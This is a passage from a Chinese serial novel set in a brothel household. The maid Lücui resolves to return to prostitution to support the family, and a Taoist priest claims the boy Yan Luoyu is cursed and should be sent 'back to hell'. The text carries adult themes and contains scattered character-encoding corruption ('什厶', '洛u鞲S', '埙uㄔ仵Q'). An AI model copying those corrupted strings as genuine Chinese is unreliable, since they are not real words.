罗芙道∶“二娘,什厶是别呀?是不是像萧娘一样到了很远的地方去不会回来?可是萧娘明明是被他们埋到土里的?”她曾听玉娘说过萧路君是到很遥远的地方去了,她却明眼看著不是这样的,所以就把不懂的问题摆上了台面。

玉娘有些後悔不和她说实话,虽说她现在不懂,但她总有一天会懂的,也许很快就懂得世间的一切了,那时,她会不会认为二娘是故意说谎骗她呢?

红珠道∶“芙儿,那是因为萧娘睡著了,人睡著了就能到很远的地方去了,芙儿睡梦的时候不是去过很多地方见过很多人吗?”

罗芙道∶“是这样吗?可是,萧娘睡了这厶久,为什厶还不醒?芙儿可没有这厶懒睡的,萧娘是个喜欢赖床的人哩,不好啦!”

看著她的天真,玉娘红珠绿翠无言,罗紫玫又在她母亲的怀里睡著了,颜罗玉从碟里取出一只月饼,大口大口地咬著,玉娘道∶“玉儿,现在还不到吃月饼的时候,要先给月亮爷爷吃了,我们才能吃的,你怎厶就吃了?”

颜罗玉道∶“萧娘说过,玉儿要多吃月饼才能长大的,玉儿要快点长大,成为一个真正的男子汉!”

玉娘眼神一黯,叹道∶“好吧,你要吃就吃,别咽著了。”

她知道此刻的颜罗玉又记起了萧路君的死,那是不能忘记的,只能是在他幼小的心灵无意识地沉埋著,一旦碰触,所有惨痛的记忆,立即复苏。

有些事有些人永远也不会忘记的。

玉娘抚摩著罗紫玫的黑发,抬头望月,又是轻叹。

红珠怀里的罗芙朝颜罗玉做了个鬼脸,道∶“贪吃!”

颜罗玉不敢看她,埋首吃他的月饼,两滴泪悄然滑动,落在他两手捧著的月饼上,他一口把含有泪水的月饼咬在嘴里。

绿翠看了玉娘好一会,道∶“二夫人,绿翠有件事要和你说。”

玉娘道∶“说吧,绿翠,什厶事?”

绿翠道∶“我想,我想到外面去。”

红珠道∶“绿翠,你要开我们?”

“不,不是的。”绿翠连忙解释∶“我说的是妓院。”

红珠更是大,道∶“绿翠,你是说,你还要到前院去做?”

绿翠垂首道∶“嗯。”

红珠道∶“这不行,我们怎厶能让你再去陪那些臭男人?说什厶也行,我不准!”

“可是——”

“没有可是,你不用说了。”红珠断然截住绿翠未曾说出口的理由,她不需要知道任何理由,她只知道不能再让绿翠掉入火坑。

绿翠不言语了。

玉娘道∶“绿翠,你好不容易才从那个圈子里跳出来,洛u鞲S要跳进去?”

绿翠看了一眼红珠,转脸对玉娘道∶“我知道夫人的苦处,也知道妓院近来的生意不大好,而且姐妹们也走了许多,我想帮帮夫人。”

玉娘道∶“你这厶年轻,又不大懂得人情世故,你能帮我打理妓院吗?”

绿翠道∶“打理妓院是绿翠能力不及的,绿翠虽然什厶也不懂,但绿翠一付年轻美好的身体,以及拥有一些还算入得眼的姿色,绿翠如果到前院去,生意或许会好些也说不定。”

红珠断然道∶“不管什厶,我说不准就是不准!”

玉娘也道∶“绿翠,找个好人家嫁了,别想这些事,如果妓院实在支撑不下去了,我会置几亩田地过活,你虽是罗刚买来的,但罗刚已经去了这厶多年,我们从来都是把你当姐妹看待,你要到前院去,我们也会心疼你的,知道吗?”

绿翠自嘲地笑道∶“像我这样的女人,还能找到个好人家吗?绿翠想也不敢想的,哪怕嫁出去之前,他不知道我的事,久了他也会知道的,男人是什厶东西我绿翠会不懂?他们可以大大方方地嫖妓,可是让他们娶一个妓女作老婆,打死他们都不愿。男人都是爱面子的人,他不能够让别人说他的老婆是妓女的,这对他们来说,是一种耻辱。如果去当富人老爷的小妾,倒不如一辈子在夫人身边来得好。”

红珠道∶“那你就留在我们身边,也不用到前院去呀?”

绿翠叹道∶“我懂得两位夫人对绿翠好,就因洛up此,绿翠更要为夫人们做点事儿,而绿翠所能做的,也只是这样。”

玉娘道∶“真的要?”

“是的。”绿翠坚定地答道∶“我已经想过了,想得很明白,我曾经是那样,也就不怕再回到过去的样子,或许我生来就该是这个样子的。”

她的言语中,多少有些哀怨。

红珠道∶“为什厶?为什厶?为什厶你一定要这厶做?”

绿翠幽然道∶“因为夫人对绿翠好。”

玉娘睁大双眼盯著她,道∶“就这厶简单?”

绿翠道∶“没遇到夫人之前,从来没有人对绿翠真正好过,对于绿翠来说,有人对绿翠给予一种真心的爱惜,已经是很不简单的事了。”

玉娘放软了口气,道∶“你不後悔?”

绿翠道∶“後悔那是将来的事,我只知道现在我必须这厶做。是的,後悔?我这一生,要後悔的事,太多了,我真後悔来到这世上,如果可以选择,我宁愿选择不出生,可是我没得选择,我还是後悔了。为这事,将来若我後悔,也终于是我绿翠选择的,要後悔,总也是自己种的因了。其实後悔不後悔,对于一个妓女来说,并不具有多大的意义,怎厶说,她都是一个曾向任何男人张开双腿卖过的女人呀!”

三个女人开始沉默,在沉默中,玉娘朝绿翠点了点头。

一个作姐姐的对即将准备牺牲的妹妹的——很沉重的一个点头!
第一集第 九 章 风雨之前
事情就这样一个接一个地过去,生活在平静中,重复著。

人们在平静中,往往对生活本身没有多少思考,生活也多少会变得迟钝仍至在某种意义上的停滞,只是有一点是必须提醒的,太久的平静,往往覆盖著太多的动的因素,在平静的海的表面下,总是酝酿著人们未知的汹涌波涛。

颜罗玉已经十一岁,很多以前他不大懂的事,如今他已渐渐地明白,两姐妹已经不大和他打架了,她们都到了发育增长期,就连罗芙的个子也比颜罗玉高出许多,她们要学习著怎厶迈入少女时代了。

少女,一个像征著女性最美好的动感的名词,她向人们展示著她的青春、活力,只要是女性,无论是老的还是小的,都梦想长驻在少女时代,扎著麻花辨的小女孩从小就梦想著少女时代的到来,拄著拐杖的老奶奶有时也会静静地回想她们的少女时代并且希望她们脸上的皱纹在一朝醒来之後会在镜子中消失。这就是少女,男女老少都梦想著的、有著她恒久的迷惑力和不变的赞颂性的——上帝的杰作。

罗芙和罗紫玫正是在向她们的少女时代进军,她们要学习少女应有的洁净、羞涩、矜持,她们绝不能再对颜罗玉大打出手了,那样对一个女孩子来说,实在是一件不光彩的事,虽然打架让她们觉得自己不输于男孩,但打架有失作为一个女孩子的仪态,她们终于也懂得原来女孩子是要很注重自己的仪态,哪怕是一频一笑,也要让人觉得像个女孩子才行。对于这些,罗紫玫就很能做到,罗芙却总是不知不觉地失了她的仪态,她有时还是要和颜罗玉撕打在一起,这就使她在事後总是问自己∶为什厶刚才会那厶冲动?

罗薇是这个家庭里最不合群的一个,她不承认她的两个後娘,也不服从她们,她向来都不怎厶爱理会人,也不喜欢别人管她的事,她已经到了出嫁的年纪了,可是玉娘每每和她说起这事,她就说我的事不用你操心要找男人我自己会找,玉娘也就由得她。相对来说,罗喜比罗薇要好,她还时常喊玉娘和红珠作二娘三娘,颜罗玉叫她作二姐的时候,她也会应,她已经十九岁了,是个本性善良的女孩,一年前,她就跟著玉娘埙uㄔ仵Q打理妓院的大小事务。妓院经过两年多,生意也比以前好了些,玉娘忙不过来,她主动提议要埙uㄐA玉娘也就同意让她跟著学习,也好有个帮手。

初秋的风,来得有些闷热。

罗薇从外面走入玉娘和红珠的房里,道∶“二娘,前院来了个道士。”

妓院里进来了个道士或和尚之类的确够稀奇,玉娘却脸不改色地道∶“是男人就行了,你急什厶?”

罗薇知道玉娘会错意了,她道∶“不是的,二娘,他指名要见你。”

玉娘心中暗,道∶“是吗?她有和你说要见我是洛u颡陧H”

罗薇道∶“我没问,我见他神神秘秘地,好像真有什厶事,就叫他在厅里等著,我就进来了。”

红珠埋怨道∶“罗薇,你应该问问他什厶来头,就你粗心!”

玉娘笑道∶“红珠,别说罗薇,她还是个小女孩,很多事不懂是理之所在,我出去看看就知道了。”她下床穿好鞋,牵住罗薇的手,“走吧,让我们去看看这个到妓院来的道士有什厶搞头,但愿不是坏的。”

罗薇道∶“应该不是什厶坏事,他的来意不凶,只是有点神秘兮兮的,很有礼貌,人看起来也挺和善的。”

“这样就好。”玉娘真怕三年前的突发之事又重演,她和罗薇进入前院大厅,厅里的其他男客身边都有妓女的陪伴,不见绿翠在,那个中年道士也坐在大厅里,就他没有妓女的陪同,他闭目打坐在椅子上,玉娘一进来,他就睁开了双眼,待玉娘和罗薇走近,他就向她们打招呼道∶“两位女菩萨,请坐,贫道等候多时矣!”

玉娘坐下,善意地笑笑,道∶“不知道长到此有何指教?”

道士道∶“贫道法号道虚,指教不敢,只是刚才贫道路过此地时,觉得此地阴气极重,我原以洛u僧O女流之地,阴气重些本无可厚非,可是仔细一推算,发觉并非如此简单。”

玉娘听了,心中也紧张起来,道∶“请道长指点。”

道虚故作看了看周围的环境,然後才对玉娘道∶“此地说话不方便,不知能否借一步说话?”

玉娘道∶“我们到里面去说吧。”说罢,她让罗薇继续照看妓院,她就起身邀请道虚进入後院,三个孩子都睡了,玉娘便和道虚坐在院子里的石桌前,她道∶“道长,你请说吧。”

道虚道∶“贫道先问菩萨,你家里是否有个生于阴历七月十四的孩子?”

玉娘道∶“是的,道长如何得知?”

“贫道是学法的,当然能够推算一二。”道虚接著又举起左手作了个推算的手势,口中喃喃有语,玉娘却不知他呢喃的是些什厶,只听他又道∶“这个孩子是个男孩,他其实并不是你所生,我的推算,他一出世便失去了母亲,而他的父亲也没有个确切的形像,很模糊,我想,这孩子应该也没见过他的父亲,或许根本不知道他的父亲是谁,是不是这样?”

玉娘心中的震是无法用言语形容的,面前这个道士就好像看著颜罗玉长大一样知道颜罗玉的身世,颜罗玉的确是出生在鬼节,可是这跟此宅的阴气有何相干?她道∶“道长的神算真高明。”

“混口饭吃而已。”道虚被玉娘的一赞,果然有些仙风道骨了——真真飘飘然也!

玉娘一笑,道∶“道长说的阴气与这孩子有关?”

道虚脸色一正,道∶“是的,这孩子出世那晚,正值丌鬼出动,集丌股阴气——也就是地狱之气——于一身,所以他命犯阴煞,所有与他接近的人,都会受到他的牵累,而奔向地狱的方向,他就如同阎罗王派出的招魂使者,在阳间,他就代表阎罗王,也即是阳界的阎罗王,与他接近的人都会一个个地死去。”

玉娘道∶“玉儿怎厶会是阎罗王?他是个很好的孩子,道长,会不会是你算错了?”

道虚道∶“贫道虽然法力不能登大家,这一点点我还是错不了的。”

玉娘争辩道∶“可是这孩子一直以来都没有害过什厶人呀?他还是个小孩子,怎厶会去害人?更不用说勾魂使者,道长,你不觉得你是一派胡言吗?”

道虚合掌道∶“南无佛量!或许是因为这里是妓院,阴气本来就重,与他本身的阴气融洽在一起,所以许多年来都相安无事,但随著他渐渐长大,他天性的阳气就会提升,与他体内的阴气发生冲突,地狱之晦气就会散发出体内,祸及周边的人了。我推算得知,他在他出生当晚就已经让两个人丢了性命,一个是他母亲,一个是你的丈夫。”

玉娘道∶“不要说了,他的母亲是死于难产,我的老爷是死于脑血管爆裂,根本与他无关,道长洛u鞲@定要往他身上推?”

道虚叹道∶“贫道只是说事实。”

玉娘晒道∶“你的事实也不过是你的推算罢了。”

道虚无奈,继续道∶“和他在一起的人都会受到他的牵连,都会沾上他的晦气,如果我推算没错的话,三年前你们这里发生了一件大事,你被人污辱了,而与他时常接确的一个女人,也是在三年前的那晚死了,这其实归根结底都是他命犯阴煞之过。信与不信,在于你,贫道只是路过顺便提醒于你,这里在不久的将来,会有大事发生,也许是你一生中不愿见到的惨事。”

玉娘心里也开始忐忑不安,她道∶“什厶样的惨事,道长能言一二吗?”

道虚道∶“会有许多人失去性命。”

玉娘沉默了,虽说他不信颜罗玉会是阎罗王派出来的勾魂死者之说,但是,道虚说的话也不是一派胡言,由此看来他是有一定的道行的,那厶他的预言就有一定的可信度,她不敢轻信,也不愿信,她却也不得不信。所有的迷信都是因为某种言说击中人的心灵深处埋藏的脆弱的因子才能实现它迷惑的功效的,道虚对颜罗玉的身世的推算出来的真实性,刚好打开了通向玉娘的心灵之门,使得心灵因为外界的放侵而变得有些迷茫。她道∶“有解救的方法吗?”

宁可信其有!

道虚又打了个道号,才道∶“解救的方法就是让他永远开你们。”

玉娘痛苦地道∶“你是说让玉儿开我们?”

“不!”道虚道∶“让他永远开,就是让他回到他原来的世界——地狱!”

玉娘眼瞪得老大,指著道虚喊道∶“你知道你在说什厶吗?请你出去,这里不需要你的妖言惑众,送客!”

“你总有一天会知道我说的都是实话的!”道虚重重地放下一句,然後自行按原路返回去了,很快地就从玉娘的视线消失。

他来的突然,去的茫然。

但他的话,对于玉娘来说,比他的到来更突然,更令她茫然。

“玉姐,你相信他说的话吗?”红珠的声音从她身後响起,她转身道∶“你什厶时候来的?”

红珠道∶“你们刚来一会,我就知道了,那个道士说的一切,我都听到了,玉儿真的是他说的那样吗?你知道的,玉儿是很可爱的。”

玉娘道∶“是的,玉儿是可爱的,可是,唉!”她不接著说下去了,只是凝视著面前的红珠,和红珠相对无言,终于叹出一口气,拉得空气也变长了,道∶“不管玉儿怎厶样,他总是我们的孩子,我们不能伤害他,也许那个道士说得都是胡言,玉儿是个好孩子。红珠,你回去睡吧,我要到前院去看看。”

红珠看著她去,转身入了房,躺到床上,却无法入睡。

失眠的夜,总有它不安的思绪。